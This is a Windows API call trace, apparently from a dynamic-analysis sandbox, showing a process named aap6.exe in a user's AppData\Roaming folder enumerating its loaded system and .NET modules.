	[0116.185] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x25620a0, cb=0xc | out: lpmodinfo=0x25620a0*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.186] GetLastError () returned 0xcb
	[0116.186] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.186] GetLastError () returned 0xcb
	[0116.186] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.186] GetLastError () returned 0xcb
	[0116.186] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x25631ec, cb=0xc | out: lpmodinfo=0x25631ec*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.186] GetLastError () returned 0xcb
	[0116.186] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.186] GetLastError () returned 0xcb
	[0116.187] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.187] GetLastError () returned 0xcb
	[0116.187] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x25642e8, cb=0xc | out: lpmodinfo=0x25642e8*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.187] GetLastError () returned 0xcb
	[0116.187] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.187] GetLastError () returned 0xcb
	[0116.187] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.188] GetLastError () returned 0xcb
	[0116.188] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x25653ec, cb=0xc | out: lpmodinfo=0x25653ec*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.188] GetLastError () returned 0xcb
	[0116.188] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.188] GetLastError () returned 0xcb
	[0116.188] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.189] GetLastError () returned 0xcb
	[0116.189] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x2566524, cb=0xc | out: lpmodinfo=0x2566524*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.189] GetLastError () returned 0xcb
	[0116.189] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.189] GetLastError () returned 0xcb
	[0116.189] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.189] GetLastError () returned 0xcb
	[0116.189] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x2567620, cb=0xc | out: lpmodinfo=0x2567620*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.190] GetLastError () returned 0xcb
	[0116.190] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.190] GetLastError () returned 0xcb
	[0116.190] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.190] GetLastError () returned 0xcb
	[0116.190] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x2568714, cb=0xc | out: lpmodinfo=0x2568714*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.191] GetLastError () returned 0xcb
	[0116.191] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.191] GetLastError () returned 0xcb
	[0116.191] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.191] GetLastError () returned 0xcb
	[0116.191] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x2569810, cb=0xc | out: lpmodinfo=0x2569810*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.191] GetLastError () returned 0xcb
	[0116.191] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.192] GetLastError () returned 0xcb
	[0116.192] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.192] GetLastError () returned 0xcb
	[0116.192] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x256a8fc, cb=0xc | out: lpmodinfo=0x256a8fc*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.192] GetLastError () returned 0xcb
	[0116.192] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.193] GetLastError () returned 0xcb
	[0116.193] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.193] GetLastError () returned 0xcb
	[0116.193] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x256ba80, cb=0xc | out: lpmodinfo=0x256ba80*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.193] GetLastError () returned 0xcb
	[0116.193] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.194] GetLastError () returned 0xcb
	[0116.194] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.194] GetLastError () returned 0xcb
	[0116.194] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x256cb74, cb=0xc | out: lpmodinfo=0x256cb74*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.194] GetLastError () returned 0xcb
	[0116.194] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.195] GetLastError () returned 0xcb
	[0116.195] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.195] GetLastError () returned 0xcb
	[0116.195] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x256dc68, cb=0xc | out: lpmodinfo=0x256dc68*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.195] GetLastError () returned 0xcb
	[0116.195] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.196] GetLastError () returned 0xcb
	[0116.196] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.196] GetLastError () returned 0xcb
	[0116.196] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x256eda0, cb=0xc | out: lpmodinfo=0x256eda0*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.196] GetLastError () returned 0xcb
	[0116.196] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.197] GetLastError () returned 0xcb
	[0116.197] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.197] GetLastError () returned 0xcb
	[0116.197] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x256ff34, cb=0xc | out: lpmodinfo=0x256ff34*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.197] GetLastError () returned 0xcb
	[0116.197] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.198] GetLastError () returned 0xcb
	[0116.198] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.198] GetLastError () returned 0xcb
	[0116.198] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x2571030, cb=0xc | out: lpmodinfo=0x2571030*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.199] GetLastError () returned 0xcb
	[0116.199] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.199] GetLastError () returned 0xcb
	[0116.199] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.199] GetLastError () returned 0xcb
	[0116.199] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x2572124, cb=0xc | out: lpmodinfo=0x2572124*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.200] GetLastError () returned 0xcb
	[0116.200] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.200] GetLastError () returned 0xcb
	[0116.200] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.201] GetLastError () returned 0xcb
	[0116.201] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x2573220, cb=0xc | out: lpmodinfo=0x2573220*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.201] GetLastError () returned 0xcb
	[0116.201] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.201] GetLastError () returned 0xcb
	[0116.201] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.202] GetLastError () returned 0xcb
	[0116.202] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x25743b8, cb=0xc | out: lpmodinfo=0x25743b8*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.202] GetLastError () returned 0xcb
	[0116.202] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.203] GetLastError () returned 0xcb
	[0116.203] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.203] GetLastError () returned 0xcb
	[0116.203] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x25754b4, cb=0xc | out: lpmodinfo=0x25754b4*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.203] GetLastError () returned 0xcb
	[0116.203] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.204] GetLastError () returned 0xcb
	[0116.204] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.204] GetLastError () returned 0xcb
	[0116.204] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x25765ec, cb=0xc | out: lpmodinfo=0x25765ec*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.205] GetLastError () returned 0xcb
	[0116.205] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.205] GetLastError () returned 0xcb
	[0116.205] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.206] GetLastError () returned 0xcb
	[0116.206] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x2577778, cb=0xc | out: lpmodinfo=0x2577778*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.206] GetLastError () returned 0xcb
	[0116.206] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.206] GetLastError () returned 0xcb
	[0116.206] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.207] GetLastError () returned 0xcb
	[0116.207] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x257895c, cb=0xc | out: lpmodinfo=0x257895c*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.207] GetLastError () returned 0xcb
	[0116.207] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.208] GetLastError () returned 0xcb
	[0116.208] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.208] GetLastError () returned 0xcb
	[0116.209] CloseHandle (hObject=0x1ec) returned 1
	[0116.209] GetLastError () returned 0xcb
	[0116.213] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0x4470670f, Data2=0x162b, Data3=0x4fdb, Data4=([0]=0x8f, [1]=0x22, [2]=0x76, [3]=0x43, [4]=0xbc, [5]=0x56, [6]=0xfb, [7]=0x20))) returned 0x0
	[0116.222] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0x61ec154a, Data2=0xc7f8, Data3=0x4d32, Data4=([0]=0x9f, [1]=0xb9, [2]=0xbb, [3]=0xbc, [4]=0xa4, [5]=0x6, [6]=0x92, [7]=0x3d))) returned 0x0
	[0116.232] GetProcAddress (hModule=0x75fb0000, lpProcName="GetThreadContext") returned 0x75fe79d4
	[0116.240] GetCurrentProcessId () returned 0x9f8
	[0116.240] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.240] GetLastError () returned 0xcb
	[0116.240] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x2585068, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x2585068, lpcbNeeded=0x3ee204) returned 1
	[0116.241] GetLastError () returned 0xcb
	[0116.241] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x25851a8, cb=0xc | out: lpmodinfo=0x25851a8*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.241] GetLastError () returned 0xcb
	[0116.241] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.241] GetLastError () returned 0xcb
	[0116.241] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.242] GetLastError () returned 0xcb
	[0116.242] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x25862d8, cb=0xc | out: lpmodinfo=0x25862d8*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.242] GetLastError () returned 0xcb
	[0116.242] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.242] GetLastError () returned 0xcb
	[0116.242] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.242] GetLastError () returned 0xcb
	[0116.242] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x25873cc, cb=0xc | out: lpmodinfo=0x25873cc*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.242] GetLastError () returned 0xcb
	[0116.243] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.243] GetLastError () returned 0xcb
	[0116.243] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.243] GetLastError () returned 0xcb
	[0116.243] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x25884c8, cb=0xc | out: lpmodinfo=0x25884c8*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.243] GetLastError () returned 0xcb
	[0116.243] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.243] GetLastError () returned 0xcb
	[0116.244] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.244] GetLastError () returned 0xcb
	[0116.244] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x25895cc, cb=0xc | out: lpmodinfo=0x25895cc*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.244] GetLastError () returned 0xcb
	[0116.244] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.244] GetLastError () returned 0xcb
	[0116.244] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.245] GetLastError () returned 0xcb
	[0116.245] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x258a708, cb=0xc | out: lpmodinfo=0x258a708*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.245] GetLastError () returned 0xcb
	[0116.245] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.245] GetLastError () returned 0xcb
	[0116.245] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.245] GetLastError () returned 0xcb
	[0116.245] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x258b80c, cb=0xc | out: lpmodinfo=0x258b80c*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.246] GetLastError () returned 0xcb
	[0116.246] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.246] GetLastError () returned 0xcb
	[0116.246] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.246] GetLastError () returned 0xcb
	[0116.246] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x258c908, cb=0xc | out: lpmodinfo=0x258c908*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.246] GetLastError () returned 0xcb
	[0116.247] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.247] GetLastError () returned 0xcb
	[0116.247] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.247] GetLastError () returned 0xcb
	[0116.247] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x258da04, cb=0xc | out: lpmodinfo=0x258da04*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.247] GetLastError () returned 0xcb
	[0116.248] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.248] GetLastError () returned 0xcb
	[0116.248] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.248] GetLastError () returned 0xcb
	[0116.248] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x258eb50, cb=0xc | out: lpmodinfo=0x258eb50*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.248] GetLastError () returned 0xcb
	[0116.248] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.249] GetLastError () returned 0xcb
	[0116.249] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.249] GetLastError () returned 0xcb
	[0116.249] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x258fc4c, cb=0xc | out: lpmodinfo=0x258fc4c*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.249] GetLastError () returned 0xcb
	[0116.249] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.250] GetLastError () returned 0xcb
	[0116.250] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.250] GetLastError () returned 0xcb
	[0116.250] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x2590d50, cb=0xc | out: lpmodinfo=0x2590d50*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.250] GetLastError () returned 0xcb
